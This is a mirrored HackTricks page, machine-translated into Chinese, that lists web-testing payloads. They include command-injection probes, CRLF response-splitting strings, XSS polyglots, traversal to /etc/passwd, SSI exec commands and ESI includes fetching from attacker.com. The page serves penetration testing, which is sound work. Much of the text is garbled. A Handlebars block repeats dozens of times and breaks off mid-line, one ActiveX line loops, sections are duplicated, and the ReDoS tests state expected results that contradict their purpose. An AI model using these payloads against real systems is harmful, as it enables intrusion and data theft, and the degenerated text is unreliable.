mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
| .. | ||
| README.md | ||
| web-vulns-list.md | ||
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一个 网络安全公司 工作吗？你想在 HackTricks 中看到你的 公司广告 吗？或者你想获得 PEASS 的最新版本或下载 HackTricks 的 PDF 吗？请查看 订阅计划！
-
发现我们的独家 NFTs 集合 The PEASS Family
-
加入 💬 Discord 群组 或 telegram 群组 或 关注 我的 Twitter 🐦@carlospolopm.
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的概述，以便他可以利用如果他的输入在响应中被反射。
{% hint style="warning" %} 这个备忘单并不提供每个漏洞的全面测试列表，只是一些基本的测试。如果你正在寻找更全面的测试，请访问每个漏洞的详细信息。 {% endhint %}
{% hint style="danger" %} 你不会找到基于 Content-Type 的注入，比如 XXE，因为通常如果你找到一个发送 XML 数据的请求，你会自己尝试这些注入。你也不会在这里找到数据库注入，因为即使一些内容可能被反射，它严重依赖于后端数据库技术和结构。 {% endhint %}
Polygloths 列表
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
客户端模板注入
基本测试
1. AngularJS
{{7*'7'.constructor.fromCharCode(97,108,101,114,116,40,49,41)()}}
2. Handlebars
{{#with "s" as |string|}}
{{#with "e" as |escape|}}
{{#with "c" as |context|}}
{{#with "r" as |reverse|}}
{{#with "i" as |indexOf|}}
{{#with "p" as |print|}}
{{#with "t" as |toString|}}
{{#with "o" as |object|}}
{{#with "n" as |number|}}
{{#with "f" as |function|}}
{{#with "a" as |array|}}
{{#with "b" as |boolean|}}
{{#with "u" as |undefined|}}
{{#with "d" as |document|}}
{{#with "w" as |window|}}
{{#with "g" as |global|}}
{{#with "l" as |location|}}
{{#with "h" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with "q" as |print|}}
{{#with "m" as |toString|}}
{{#with "k" as |object|}}
{{#with "j" as |number|}}
{{#with "e" as |function|}}
{{#with "w" as |array|}}
{{#with "r" as |boolean|}}
{{#with "t" as |undefined|}}
{{#with "y" as |document|}}
{{#with "u" as |window|}}
{{#with "i" as |global|}}
{{#with "o" as |location|}}
{{#with "p" as |history|}}
{{#with "s" as |self|}}
{{#with "v" as |valueOf|}}
{{#with "x" as |context|}}
{{#with "y" as |reverse|}}
{{#with "z" as |indexOf|}}
{{#with
{{77}} [77]
## 多语言
Polyglot（多语言）是指一种文件或程序，可以被解释为多种不同的语言，具体取决于上下文。在网络渗透测试中，多语言文件可以用于绕过安全机制，欺骗系统或执行恶意操作。
### 多语言文件的特点
- **文件格式**：多语言文件通常是特定格式的文件，例如HTML、XML、JSON、PDF等。
- **语言注释**：多语言文件中的注释可以用于指定文件的语言类型。
- **语言特定代码**：多语言文件中的代码可以根据不同的语言解释器进行解释。
### 多语言文件的应用
- **绕过安全机制**：通过创建一个多语言文件，可以绕过某些安全机制，因为不同的解释器可能会对文件进行不同的处理。
- **欺骗系统**：多语言文件可以被解释为合法的文件类型，从而欺骗系统，绕过文件类型检测。
- **执行恶意操作**：通过利用多语言文件的特性，可以执行恶意操作，例如执行命令、读取敏感文件等。
### 多语言文件的示例
以下是一些常见的多语言文件示例：
- **Polyglot HTML/JavaScript**：这种文件可以同时被解释为HTML和JavaScript代码，可以用于绕过XSS过滤器。
- **Polyglot XML/XXE**：这种文件可以同时被解释为XML和XXE（外部实体注入）代码，可以用于绕过XML解析器的安全机制。
- **Polyglot JSON/JavaScript**：这种文件可以同时被解释为JSON和JavaScript代码，可以用于绕过JSON解析器的安全机制。
### 多语言文件的创建
创建多语言文件需要深入了解不同语言的语法和特性。以下是一些创建多语言文件的技巧：
- **注释**：使用不同语言的注释语法来指定文件的语言类型。
- **语法**：根据不同语言的语法规则，编写可以被多个解释器解释的代码。
- **测试**：在不同的解释器中测试文件，确保文件在不同环境中都能正常解释。
### 多语言文件的检测
检测多语言文件可以使用以下方法：
- **文件分析**：通过分析文件的结构和内容，检测是否存在多语言特征。
- **解释器测试**：使用不同的解释器解释文件，观察文件在不同环境中的行为。
- **安全工具**：使用专门的安全工具，如文件分析器、语法分析器等，来检测多语言文件。
### 多语言文件的防御
防御多语言文件的攻击可以采取以下措施：
- **文件过滤**：实施严格的文件类型过滤，阻止不明文件类型的上传和执行。
- **解释器配置**：配置解释器的安全参数，限制解释器对文件的处理能力。
- **安全工具**：使用安全工具来检测和阻止多语言文件的攻击。
- **教育培训**：提高用户和开发人员的安全意识，避免对不明文件的信任。
### 参考资料
- [Polyglot Files](https://en.wikipedia.org/wiki/Polyglot_(computing))
- [Polyglot Files: Exploiting Multiple Interpretations](https://www.exploit-db.com/docs/english/44756-polyglot-files-exploiting-multiple-interpretations.pdf)
```bash
{{7*7}}[7*7]
命令注入
基本测试
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)
多语言
Polyglot（多语言）是指一种文件或程序，可以被解释为多种不同的语言，具体取决于上下文。在网络渗透测试中，多语言文件可以用于绕过安全机制，欺骗系统或执行恶意操作。
多语言文件的特点
- 文件格式：多语言文件通常是特定格式的文件，例如HTML、XML、JSON、PDF等。
- 语言注释：多语言文件中的注释可以用于指定文件的语言类型。
- 语言特定代码：多语言文件中的代码可以根据不同的语言解释器进行解释。
多语言文件的应用
- 绕过安全机制：通过创建一个多语言文件，可以绕过某些安全机制，因为不同的解释器可能会对文件进行不同的处理。
- 欺骗系统：多语言文件可以被解释为合法的文件类型，从而欺骗系统，绕过文件类型检测。
- 执行恶意操作：通过利用多语言文件的特性，可以执行恶意操作，例如执行命令、读取敏感文件等。
多语言文件的示例
以下是一些常见的多语言文件示例：
- Polyglot HTML/JavaScript：这种文件可以同时被解释为HTML和JavaScript代码，可以用于绕过XSS过滤器。
- Polyglot XML/XXE：这种文件可以同时被解释为XML和XXE（外部实体注入）代码，可以用于绕过XML解析器的安全机制。
- Polyglot JSON/JavaScript：这种文件可以同时被解释为JSON和JavaScript代码，可以用于绕过JSON解析器的安全机制。
多语言文件的创建
创建多语言文件需要深入了解不同语言的语法和特性。以下是一些创建多语言文件的技巧：
- 注释：使用不同语言的注释语法来指定文件的语言类型。
- 语法：根据不同语言的语法规则，编写可以被多个解释器解释的代码。
- 测试：在不同的解释器中测试文件，确保文件在不同环境中都能正常解释。
多语言文件的检测
检测多语言文件需要使用适当的工具和技术。以下是一些常用的多语言文件检测方法：
- 文件分析：使用文件分析工具，如file命令或TrID，来确定文件的真实类型。
- 语法分析：使用语法分析工具，如linters或解释器，来检查文件的语法和语义。
- 环境测试：在不同的解释器中测试文件，观察文件在不同环境中的行为。
多语言文件的防御
为了防止多语言文件的滥用，可以采取以下防御措施：
- 文件类型检测：实施严格的文件类型检测，以防止多语言文件被误解释为其他类型的文件。
- 输入验证：对用户输入进行严格的验证和过滤，以防止恶意多语言文件的注入。
- 安全配置：配置解释器和应用程序的安全设置，以限制多语言文件的执行权限。
参考资料
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
CRLF
基本测试
CRLF Injection
CRLF注入是一种利用CRLF序列（回车换行）来注入恶意内容的攻击技术。攻击者可以通过在用户输入中插入CRLF序列来改变应用程序的行为，例如在HTTP响应中插入恶意头部或注入恶意脚本。
HTTP Response Splitting
HTTP响应拆分是一种CRLF注入攻击技术，攻击者可以通过在HTTP响应中插入CRLF序列来拆分响应，从而在用户端引发安全问题。这种攻击可能导致HTTP响应劫持、会话劫持、跨站脚本攻击（XSS）等问题。
SMTP Header Injection
SMTP头注入是一种CRLF注入攻击技术，攻击者可以通过在SMTP邮件头中插入CRLF序列来注入恶意内容。这种攻击可能导致邮件劫持、欺骗性邮件、跨站脚本攻击（XSS）等问题。
CRLF Payloads
以下是一些常见的CRLF有效载荷示例，可用于测试和利用CRLF注入漏洞。
CRLF注入有效载荷
%0D%0A: URL编码的CRLF序列%0D%0ASet-Cookie:malicious_cookie=1: 在HTTP响应中设置恶意Cookie%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK: 在HTTP响应中插入恶意头部
HTTP响应拆分有效载荷
%0D%0A%20Transfer-Encoding:%20chunked%0D%0A%20%0D%0A1a%0D%0A%20%0D%0A%3Cscript%3Ealert('XSS')%3C/script%3E%0D%0A%20%0D%0A0%0D%0A%0D%0A: 在HTTP响应中插入恶意脚本
SMTP头注入有效载荷
From:%20attacker@example.com%0D%0ATo:%20victim@example.com%0D%0ASubject:%20Test%0D%0A%0D%0A: 在SMTP邮件头中插入恶意内容
CRLF漏洞扫描
以下是一些常用的工具和技术，可用于扫描和检测CRLF注入漏洞。
Burp Suite
Burp Suite是一款功能强大的Web应用程序渗透测试工具，可用于扫描和检测CRLF注入漏洞。使用Burp Suite的Intruder模块，可以自动化地发送包含CRLF注入有效载荷的请求，并分析响应以检测漏洞。
OWASP ZAP
OWASP ZAP是一款开源的Web应用程序渗透测试工具，也可用于扫描和检测CRLF注入漏洞。使用OWASP ZAP的Active Scan功能，可以自动化地发送包含CRLF注入有效载荷的请求，并分析响应以检测漏洞。
自定义脚本
除了使用现有的工具，还可以编写自定义脚本来扫描和检测CRLF注入漏洞。使用脚本语言（如Python或Ruby），可以发送包含CRLF注入有效载荷的请求，并分析响应以检测漏洞。
防御CRLF注入攻击
以下是一些常见的防御措施，可用于防止CRLF注入攻击。
- 输入验证和过滤：对用户输入进行严格的验证和过滤，确保不允许插入CRLF序列。
- 输出编码：在输出到HTTP响应或SMTP邮件时，对特殊字符进行编码，以防止CRLF注入。
- 安全编码实践：遵循安全编码实践，包括使用安全的开发框架和库，以减少CRLF注入漏洞的风险。
- 及时更新：及时更新应用程序和相关组件，以修复已知的CRLF注入漏洞。
参考资料
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
悬挂标记
基本测试
HTML注释
<!-- HTML Comment -->
HTML注释中的JavaScript代码
<!-- <script>alert('XSS')</script> -->
HTML注释中的SVG代码
<!-- <svg/onload=alert('XSS')> -->
HTML注释中的CSS代码
<!-- <style>@import 'data:text/css;base64,Y29uc29sZS5sb2coJ2FkbWluJyk7'></style> -->
HTML注释中的URL
<!-- <a href="javascript:alert('XSS')">Click me</a> -->
HTML注释中的图片
<!-- <img src=x onerror=alert('XSS')> -->
HTML注释中的IFrame
<!-- <iframe src="javascript:alert('XSS')"></iframe> -->
HTML注释中的表单
<!-- <form action="javascript:alert('XSS')"><input type="submit"></form> -->
HTML注释中的链接
<!-- <link rel="stylesheet" href="javascript:alert('XSS')"> -->
HTML注释中的音频
<!-- <audio src="javascript:alert('XSS')"></audio> -->
HTML注释中的视频
<!-- <video src="javascript:alert('XSS')"></video> -->
HTML注释中的嵌入式对象
<!-- <object data="javascript:alert('XSS')"></object> -->
HTML注释中的Flash
<!-- <embed src="javascript:alert('XSS')"> -->
HTML注释中的Java Applet
<!-- <applet code="javascript:alert('XSS')"> -->
HTML注释中的VBScript
<!-- <script language="VBScript">msgbox "XSS"</script> -->
HTML注释中的ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
HTML注释中的VBScript+ActiveX
<!-- <object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><param name="DataURL" value="javascript:alert('XSS')"></object> -->
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
文件包含/路径遍历
基本测试
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
开放重定向 / 服务器端请求伪造
基本测试
1. Basic Open Redirect Test
Description
This test checks if the application is vulnerable to open redirect attacks. An open redirect vulnerability occurs when an application redirects users to a URL specified in a parameter without proper validation. Attackers can abuse this vulnerability to redirect users to malicious websites or phishing pages.
Steps to Perform
- Identify parameters that control the redirect behavior.
- Modify the value of the redirect parameter to a malicious URL.
- Check if the application redirects to the specified URL without any validation.
Example
GET /redirect?target=https://malicious-website.com HTTP/1.1
Host: vulnerable-website.com
2. Basic Server Side Request Forgery (SSRF) Test
Description
This test checks if the application is vulnerable to server-side request forgery (SSRF) attacks. SSRF vulnerabilities allow attackers to make requests to internal resources or external systems from the perspective of the vulnerable server. This can lead to information disclosure, remote code execution, or other security issues.
Steps to Perform
- Identify parameters that control the server-side request behavior.
- Modify the value of the parameter to a URL that points to an internal resource or an external system.
- Check if the application successfully makes the request and returns the response.
Example
GET /fetch?url=http://internal-resource.com HTTP/1.1
Host: vulnerable-website.com
3. Basic Open Redirect and SSRF Test
Description
This test combines the basic open redirect and server-side request forgery (SSRF) tests to check if the application is vulnerable to both types of attacks.
Steps to Perform
- Follow the steps for the basic open redirect test.
- Follow the steps for the basic SSRF test.
Example
GET /redirect?target=https://malicious-website.com&url=http://internal-resource.com HTTP/1.1
Host: vulnerable-website.com
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
ReDoS（正则表达式拒绝服务攻击）
基本测试
Test 1: Single Character Matching
Description
This test checks for the vulnerability of a regular expression to ReDoS when matching a single character.
Regular Expression
^(a+)+$
Payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Expected Result
The regular expression should match the payload quickly.
Test 2: Character Set Matching
Description
This test checks for the vulnerability of a regular expression to ReDoS when matching a character set.
Regular Expression
^([a-z]+)+$
Payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Expected Result
The regular expression should match the payload quickly.
Test 3: Group Matching
Description
This test checks for the vulnerability of a regular expression to ReDoS when matching a group.
Regular Expression
^(a|b)+$
Payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Expected Result
The regular expression should match the payload quickly.
Test 4: Quantifier Matching
Description
This test checks for the vulnerability of a regular expression to ReDoS when matching a quantifier.
Regular Expression
^(a{1,3})+$
Payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Expected Result
The regular expression should match the payload quickly.
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
服务器端包含/边缘端包含
基本测试
SSI
<!--#exec cmd="ls" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="id" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="uname -a" -->
ESI
<esi:include src="http://attacker.com/malicious.xml" />
<esi:include src="http://attacker.com/malicious.html" />
<esi:include src="http://attacker.com/malicious.js" />
<esi:include src="http://attacker.com/malicious.php" />
<esi:include src="http://attacker.com/malicious.jpg" />
<esi:include src="http://attacker.com/malicious.gif" />
<esi:include src="http://attacker.com/malicious.png" />
<esi:include src="http://attacker.com/malicious.bmp" />
<esi:include src="http://attacker.com/malicious.ico" />
<esi:include src="http://attacker.com/malicious.svg" />
<esi:include src="http://attacker.com/malicious.json" />
<esi:include src="http://attacker.com/malicious.txt" />
<esi:include src="http://attacker.com/malicious.css" />
<esi:include src="http://attacker.com/malicious.xml" />
<esi:include src="http://attacker.com/malicious.xslt" />
<esi:include src="http://attacker.com/malicious.xsl" />
<esi:include src="http://attacker.com/malicious.dtd" />
<esi:include src="http://attacker.com/malicious.ent" />
<esi:include src="http://attacker.com/malicious.xhtml" />
<esi:include src="http://attacker.com/malicious.xhtm" />
<esi:include src="http://attacker.com/malicious.xht" />
<esi:include src="http://attacker.com/malicious.html" />
<esi:include src="http://attacker.com/malicious.htm" />
<esi:include src="http://attacker.com/malicious.shtml" />
<esi:include src="http://attacker.com/malicious.shtm" />
<esi:include src="http://attacker.com/malicious.sht" />
<esi:include src="http://attacker.com/malicious.asp" />
<esi:include src="http://attacker.com/malicious.aspx" />
<esi:include src="http://attacker.com/malicious.php" />
<esi:include src="http://attacker.com/malicious.jsp" />
<esi:include src="http://attacker.com/malicious.jsf" />
<esi:include src="http://attacker.com/malicious.cfm" />
<esi:include src="http://attacker.com/malicious.cfml" />
<esi:include src="http://attacker.com/malicious.cfc" />
<esi:include src="http://attacker.com/malicious.pl" />
<esi:include src="http://attacker.com/malicious.cgi" />
<esi:include src="http://attacker.com/malicious.fcgi" />
<esi:include src="http://attacker.com/malicious.exe" />
<esi:include src="http://attacker.com/malicious.dll" />
<esi:include src="http://attacker.com/malicious.so" />
<esi:include src="http://attacker.com/malicious.class" />
<esi:include src="http://attacker.com/malicious.jar" />
<esi:include src="http://attacker.com/malicious.war" />
<esi:include src="http://attacker.com/malicious.ear" />
<esi:include src="http://attacker.com/malicious.tar" />
<esi:include src="http://attacker.com/malicious.gz" />
<esi:include src="http://attacker.com/malicious.zip" />
<esi:include src="http://attacker.com/malicious.rar" />
<esi:include src="http://attacker.com/malicious.7z" />
<esi:include src="http://attacker.com/malicious.sql" />
<esi:include src="http://attacker.com/malicious.sqlite" />
<esi:include src="http://attacker.com/malicious.db" />
